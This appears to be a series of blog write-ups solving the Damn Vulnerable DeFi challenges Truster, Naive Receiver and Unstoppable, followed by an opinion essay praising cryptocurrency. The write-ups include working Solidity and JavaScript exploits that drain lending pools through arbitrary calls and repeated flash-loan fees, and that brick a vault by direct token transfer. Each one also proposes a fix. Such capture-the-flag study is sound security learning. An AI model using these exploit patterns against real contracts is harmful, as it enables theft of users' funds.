A lending pool has 1 million DVT tokens and is offering flash loans. Our task is to drain the pool of all funds. The title of the challenge has a little hint in it, too much trust in the smart contract world is a road to a lot of pain. But I’m getting ahead of myself, let’s take a look at the contract:

We see that there is a flash loan function that sends over some tokens to the borrower that gets passed in. After sending tokens in, a functionCall is made to the target with arbitrary data that is passed in. Finally, the contract checks to make sure the tokens have been returned and then the flashLoan function completes.

The issue here lies with the target.functionCall, which gets called with any arbitrary data that is passed in by the sender. This means that ANY function can be called on ANY target address. This seems like an issue, so we can investigate further - but first, let’s learn a bit about how ERC20 works.

ERC20 Approve

The ERC20 specification has a special approve function that allows addresses to specify that other addresses are allowed to spend tokens on their behalf. This is a technique that a large number of smart contracts in the DeFi space take advantage of. The flow goes something like this:

1. User approves Contract A to spend 10 tokens

2. Contract A can then transfer 10 tokens from the user to itself

3. After transferring the tokens, the approval is taken back to 0 automatically

Without approve, smart contracts would not be able to take tokens from users wallets to perform transactions. As an example, Uniswap needs this functionality to pull funds from the users wallet to perform a swap.

The Exploit

Now that we understand how approve works, we’re ready to jump back in to the solution. The approve function of ERC20 is implemented like this:

The function takes two arguments, the spender and the amount which will be approved. The account that funds are approved from is the msg.sender.

In solidity, when an external call is made from one contract to another, the msg.sender in the receiving contract is the calling contract (not the initiator of the transaction). We can take advantage of this fact to get the contract to approve spending of its own tokens by some outside account such as our player. After that, the player can simply call transferFrom on the token to retrieve the funds. Here is the implementation

it('Execution - multi transaction', async function () {
    /** CODE YOUR SOLUTION HERE */
    const tokenInterface = new Interface([
        "function approve(address spender, uint256 amount) public returns (bool)"
    ])
    
    await pool.flashLoan(
        0, // Borrow nothing
        player.address, // borrower
        token.address, // target
        tokenInterface.encodeFunctionData('approve(address,uint256)', [
            player.address, TOKENS_IN_POOL
        ]) // data
    );

    // Now, the player is approved and can transfer funds
    await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});

The test case now passes as expected.

Exploit, single transaction

Alright, similar to the previous challenge, we’d like to complete this in one single transaction. Note that our current solution performs two transactions, a flashLoan and then a transferFrom. To do these in one transaction, we’ll need the help of an intermediate contract. I’ve written one that looks like this

contract TrusterExploiter {
    function exploit(address tokenAddress, address poolAddress, address playerAddress) public {
        TrusterLenderPool pool = TrusterLenderPool(poolAddress);
        DamnValuableToken token = DamnValuableToken(tokenAddress);

        // 1. Approve this contract to spend all of the pools tokens
        pool.flashLoan(
            0, // Borrow nothing from the pool
            address(this),
            tokenAddress,
            abi.encodeWithSelector(
                IERC20.approve.selector,
                address(this),
                token.balanceOf(poolAddress)
            )
        );

        // 2. Transfer all of the pools tokens to the player
        token.transferFrom(poolAddress, playerAddress, token.balanceOf(poolAddress));
    }
}

In here, we see that we are effectively doing the same thing -- just in a contract function. Using this, we can make our single transaction from the test file as follows

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const exploiterFactorty = await ethers.getContractFactory('TrusterExploiter', player);
    const exploiter = await exploiterFactorty.deploy();

    await exploiter.exploit(token.address, pool.address, player.address);
});

Conclusion

The problem with this contract is that it places too much trust on the caller. It assumes the caller is not malicious, so it allows it to call any function on any contract. A fix for this bug would be to call a specified function on the target.

Credits

Cover photo:

https://unsplash.com/@laurenlulutaylor?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the user’s contract. If possible, in a single transaction.

Contracts

I’ve discussed in detail how flash loans work in my previous article on this series. Check it out here. This challenge also makes use of flash loans being taken out from a vault. Let’s first take a look at the logic that is defined in the lender contract

The first thing to notice is that this contract takes a pretty large fee (1 ETH!) on each loan. This fee is charged every time a user performs a flash loan. Diving into the flashLoan contract, the contract first checks that the token being deposited is ETH and reverts otherwise. Next, it transfers the requested amount to the receiver and calls the receiver’s onFlashLoan method. Finally, it verifies that the receiver sent back the full balance plus the fee.

Now let’s take a look at the borrower side contract.

This contract implements IERC3156FlashBorrower which requires it to implement the onFlashLoan method. First, we check that the caller() is the pool address that this receiver contract is expecting. This ensures that it does not receive a flash loan from an unexpected (maybe malicious) source. The assembly code here reverts with 0x48f5c3ed which I learned translates to an InvalidCaller code.

If the token being transferred is not ETH, the function reverts with an UnsupportedCurrency exception. The amountToBeRepaid value is populated with the amount plus the requested fee from the loan provider. It should be noted that this is using unchecked math which can overflow without reverting in solidity. This is a gas saving technique, but comes at a risk if the numbers are very large and may overflow or underflow. Finally, the function makes a call to _executeActionDuringFlashLoan which will perform any actions with the funds and then returns the amount borrowed plus the fee to the loan provider.

Solution (multiple transactions)

Okay so with that background out of the way, how do we actually solve this puzzle? Since the flash loan takes such a large fee, it can be solved by forcing the receiver to take a loan over and over again unintentionally. Here is the naive solution

it('Execution multi transaction', async function () {
    /** CODE YOUR SOLUTION HERE */
    const ETH = await pool.ETH();

    for (let i = 0; i < 10; i++) {
        await pool.flashLoan(receiver.address, ETH, 1n * 10n ** 18n, "0x");
    }
});

In this solution, we make 10 transactions to the pool contract to perform a flash loan to the borrower. After making 10 flash loans, the 10 ETH that the borrower started with have been drained into the flash loan pool.

Solution (single transaction)

The problem statement adds an extra challenge to do this in only one transaction. In the real world, attackers try to attack contracts in as few transactions as possible to reduce the risk of getting caught before completing their intended actions. To do this, we need a helper contract that will do the attack on chain in a single transaction. First, I created an exploiter contract like so

contract Exploiter is IERC3156FlashBorrower {
  IERC3156FlashLender lender;
  IERC3156FlashBorrower borrower;

  constructor(IERC3156FlashLender _lender, IERC3156FlashBorrower _borrower) {
    lender = _lender;
    borrower = _borrower;
  }

  receive () payable external {
    uint borrowerBalance = address(borrower).balance;

    while (borrowerBalance > 0) {
      lender.flashLoan(borrower, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 1 ether, "0x");
      borrowerBalance = address(borrower).balance;
    }
  }

  function onFlashLoan(address, address, uint256, uint256, bytes calldata) external override returns (bytes32) {
    SafeTransferLib.safeTransferETH(address(lender), 1 ether);

    return keccak256("ERC3156FlashBorrower.onFlashLoan");
  }
}

This contract will act as another borrower which will perform the draining actions for us in the same transaction. By calling the flashLoan function on the pool with the exploiter contract as the receiver, it triggers a call to the receive function. receive is a function in smart contracts that is called by default whenever the contract receives any ether. In the receive function, I create more calls to flashLoan with the borrower contract as the receiver until the borrowerBalance has gone down to 0.

After adding this contract, the challenge can be solved with one transaction like so:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const ExploiterFactory = await ethers.getContractFactory('Exploiter', player);
    const exploiter = await ExploiterFactory.deploy(pool.address, receiver.address);

    const ETH = await pool.ETH();
    await pool.flashLoan(exploiter.address, ETH, 1n * 10n ** 18n, "0x");
});

Mitigation

One way to mitigate this issue would be to check that the receiver in the flashLoan function is the initiator of the transaction. To me, it is a security risk to allow anyone to make a contract perform a flash loan and drain its fees.

Credits

Cover photo:

https://unsplash.com/photos/R9L7ukhBSgs?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink

Hey there, I’m creating a series of my solutions to the Damn Vulnerable DeFi challenges here starting with challenge #1 “Unstoppable”. This challenge looks at a flash loan implementation that contains a vulnerability. But first, what is a flash loan and how is it implemented?

Flash Loans and ERC3156

Flash Loans were first introduced by Aave as part of Aave V3 which you can learn more about here. They provide a way for users to borrow crypto without needing to put down any collateral first. The catch is that the entire loan must be paid back within the same transaction or the entire transaction will fail. This provides a way for users to make high leverage trades without any upfront capital.

ERC3156 was developed as a standardized interface for interacting with Flash Loan contracts. The standard consists of two contracts, the lender and borrower (IERC3156FlashLender and IERC3156FlashBorrower). You can read more about the standard here. At a high level, these interfaces provide the following functions

interface IERC3156FlashLender {

    /**
     * @dev The amount of currency available to be lent.
     * @param token The loan currency.
     * @return The amount of `token` that can be borrowed.
     */
    function maxFlashLoan(
        address token
    ) external view returns (uint256);

    /**
     * @dev The fee to be charged for a given loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
     */
    function flashFee(
        address token,
        uint256 amount
    ) external view returns (uint256);

    /**
     * @dev Initiate a flash loan.
     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     */
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}

interface IERC3156FlashBorrower {

    /**
     * @dev Receive a flash loan.
     * @param initiator The initiator of the loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param fee The additional amount of tokens to repay.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
     */
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32);
}

The borrower contract can inherit IERC3156FlashBorrower by implementing the onFlashLoan contract. After this, the borrower can call the flashLoan function with the amount and token requested from the lender contract. On the lender side, flashLoan is implemented to send those tokens to the receiver, call the onFlashLoan callback function and then pull the tokens plus a fee back from the borrower contract. The code execution flow looks like this:

The borrower can implement any logic that they want within the onFlashLoan function, but the transaction will only be successful if they approve the loaned tokens plus a fee to the lender at the end. The next thing to understand about this challenge is ERC4626 vaults

Vaults and ERC4626

ERC4626 was developed to standardized tokenized yield bearing vaults. Simply put, this vault allows users to hold a share of some underlying asset that is controlled in a vault. For example, consider a vault holding 100USDC. Alice could hold 69% of the vault and Bob could hold 20% of the vault. This gives Alice access to 69USDC from the vault and Bob 20USDC from the vault. This is a simple example, but the idea can easily be extended to more complex vaults such as Yearn, which generate yield on the assets in the vault. The yield can be distributed to users based on how much stake they have.

Contract overview

Alright, with that background out of the way, we can take a look at the vulnerable contract. At a high level, this contract is an ERC4626 that supports lending using ERC3156. There is some grace period logic that allows users to lend funds without paying any fees within the first 30 days.

The maxFlashLoan function returns 0 if the asset is not supported and returns the totalAssets in the vault otherwise. The flashFee function has the logic for returning 0 if within the grace period (and the user is not attempting to borrow all the funds in the vault) or 5% of the borrowed amount otherwise. setFeeRecipient is gated to allowing only the contract owner to call it and sets a new recipient for all fees.

The logic in totalAssets looks a bit scary, so I’ll break it down

function totalAssets() public view override returns (uint256) {
    assembly { // better safe than sorry
        if eq(sload(0), 2) {
            mstore(0x00, 0xed3ba6a6)
            revert(0x1c, 0x04)
        }
    }
    return asset.balanceOf(address(this));
}

First, we check if the value in the first storage slot is 0. To find this storage slot, we need to check the first line of the contract

contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {

Storage is ordered by the contracts that are inherited first by the order that they are inherited. Since IERC3156FlashLender has no storage, we check ReentrancyGuard. The first storage item here is the locked flag which ensures that reentrancy does not happen. If the value is 2 (the function has been entered), then this will revert. To be honest, I’m not sure why this check is done since none of the calls that use totalAssets has the nonReentrant modifier. Secondly this could be implemented by using the nonReentrant modifier directly on totalAssets and probably use less gas on the deployment but 🤷.

Finally, we get to the meat of this contract - the flashLoan function. In here, we check a bunch of conditions transfer the requested funds to the caller, call the callback and get the funds back plus a fee.

The hack

The exploit we are looking for is a way to block all users from being able to use the vault to make flash loans. Looking closely at the code in flashLoan there is this line:

uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

This struck out to me because there is an assumption that the total number of tokens in the vault will always be equal to the total number of tokens owned by the vault. If we can somehow make the vault receive assets (update totalAssets) without updating the totalSupply, then this contract will become bricked and will always revert until this was somehow resolved. Digging into the ERC4626 and ERC20, we see that totalSupply is only updated during a mint or burn event. The mint is called by the deployer who has 100% of the shares in the vault.

However, transferring tokens does not affect totalSupply. Thus, we can simply transfer some tokens from our user to the vault and all further loans will revert.

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    await token.connect(player).transfer(vault.address, 1n * 10n ** 18n);
});

For more details, we can console.log the balanceBefore and convertToShares(totalSupply) values after doing our token transfer. We see the following:

totalSupply 1000000000000000000000000
convertToShares(totalSupply) 999999000000999999000000
balanceBefore 1000001000000000000000000

Since the balance has gone up, but the total supply of shares in the vault remains the same, convertToShares returns a value smaller than balanceBefore.

Resolution

An exploit like this can be resolved by blocking transfers of the token into the vault directly. These direct transfers break the internal accounting of ERC4626.

Credits

Credit to Jason Dent for the cover photo

https://unsplash.com/photos/3wPJxh-piRw?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink

Self custody

The modern banking system is broken and is designed to steal money from everyday people. Traditionally, banks were the only alternative one had to keep their money safe. It was foolish for someone to keep their entire life savings under their bed or in a pillow. This meant that users had no alternative and had to store their funds in the bank to keep them safe.

However, when users deposit their funds in banks, it is impossible to know what exactly is being done with those funds. One recent example of this was with Silicon Valley Bank (SVB) which was unable to provide funds to their users during a cash crunch, because the funds had all been invested in long term bonds. Even though it was the users funds, they couldn’t even directly get access to those bonds since the bonds were owned by the bank. The users had effectively given up ownership of their money and kept a lot of trust in the banking institution. To resolve this issue, a massive relief had to be provided by the government from taxpayer funds to guarantee the deposits.

One can also look at the example of FTX. FTX from the outside looks like a crypto company, but in reality it operated exactly like banks do. If it walks like a duck, talks like a duck and all that. FTX used user funds in risky trades, eventually losing all of those funds. Over $40B of user funds were lost and most of these users that were affected will likely never get their money back.

Cryptocurrency solves these banking problems by providing a secure infrastructure where users no longer need to rely on the banking systems. Instead, user funds are secured using powerful mathematical tools. User funds are guaranteed to only be accessible by the owner of those funds. For the first time in history, we have a system where value can be stored without having to rely on the banking system.

Transferring funds

Traditionally, sending funds between users has been a cumbersome and time consuming process. To send funds overseas, users have to go through banks using a process that can take several days. The banking system also cheats users by charging significant fees and providing unfavourable exchange rates. Additionally, there is sometimes human error involved when sending these transfers through banks since there is a lot of manual labour involved.

Cryptocurrency solves all of these issues as well. On ethereum, it takes seconds to send any amount of money to anyone on earth. Additionally, the transfer can be done for a few dollars - or even a few cents by using Layer 2 systems. Everything from splitting the cost of a meal to sending money back home to family can be done more seamlessly than ever before.

Exchanging currencies on decentralized finance applications has revolutionized currency exchange. These platforms automatically provide fair exchange rates that exactly match the market rate in a transparent manner. Fees from the protocol are distributed fairly to protocol participants who provide liquidity for making exchanges. This is a technique for making yield that was previously only available to banking elites. Now, a fair market is created where anyone can provide a service that anyone else has access to.

Separation of government and money

For a significant period of human history, it was common for the government to be intertwined with religion. In the Roman Empire for example, the state could deem it illegal for citizens to believe certain religions and preach about them. Depending on the religious beliefs of those in power, those beliefs could be forced on anyone who lived in the empire. This was an extremely common form of government until Henry VIII, like an absolute chad, broke away from the catholic church so that he could get a divorce.

This ideal of removing state control from something so deeply personal like religion has been absolutely positive. In the first amendment of the United States constitution, this beautiful ideal was put into law. This way, the government is unable to intervene in the religious affiliations of anyone living in the country. If we are able to remove the government from our personal lives, maybe it’s time to take them out of our financial lives as well.

What I mean by this is that governments abuse their power of control over the monetary supply to their own benefit. Those in power print money and devalue the currency that is held by the masses. Since there is no cap on how much the government can spend, corrupt institutions are able to earn huge amounts of money while making the rest of society poorer. One example of this is the military industrial complex. President Eisenhower discusses this in his farewell address.

The potential for the disastrous rise of misplaced power exists, and will persist. We must never let the weight of this endanger our liberties or democratic processes

I believe money belongs to the people, not the state. Cryptocurrency enables all of us to take back control of our money and disable the state from devaluing it through systemic corruption.

Censorship free social media

After the January 6 2021 storming of the US capital, president Donald Trump was swiftly banned from all the major social media platforms. I don’t intend to make a political stance, however, it is clear that social media companies are too powerful. The fact that unelected elites have the ability to completely remove the sitting president of the United States is absurd.

Other examples of this can be seen with the handling of the covid pandemic by these same social media platforms. Ideas that were deemed unacceptable were directly removed from public conversation such as the Wuhan lab leak theory. Our communication channels have become politicized and believing the wrong thing can get you kicked off. This is very similar to the issues of linked church and state that I discussed earlier.

Using crypto technology, social media platforms such as lens and farcaster have been developed where a user’s content is entirely owned by them. Instead of being completely at the whims of whoever owns the platform, users own their content and their followers go with them to any platform.

Final thoughts

Crypto already has many effective use cases that are often overlooked. The technology brings significant improvements to the lives of everyday people. Never before have ordinary people been able to control their own financial lives and online freedom than today. This has only scratched the surface on what is possible and how far this industry can go.

Credit to Linh Nguyen on Unsplash for the header photo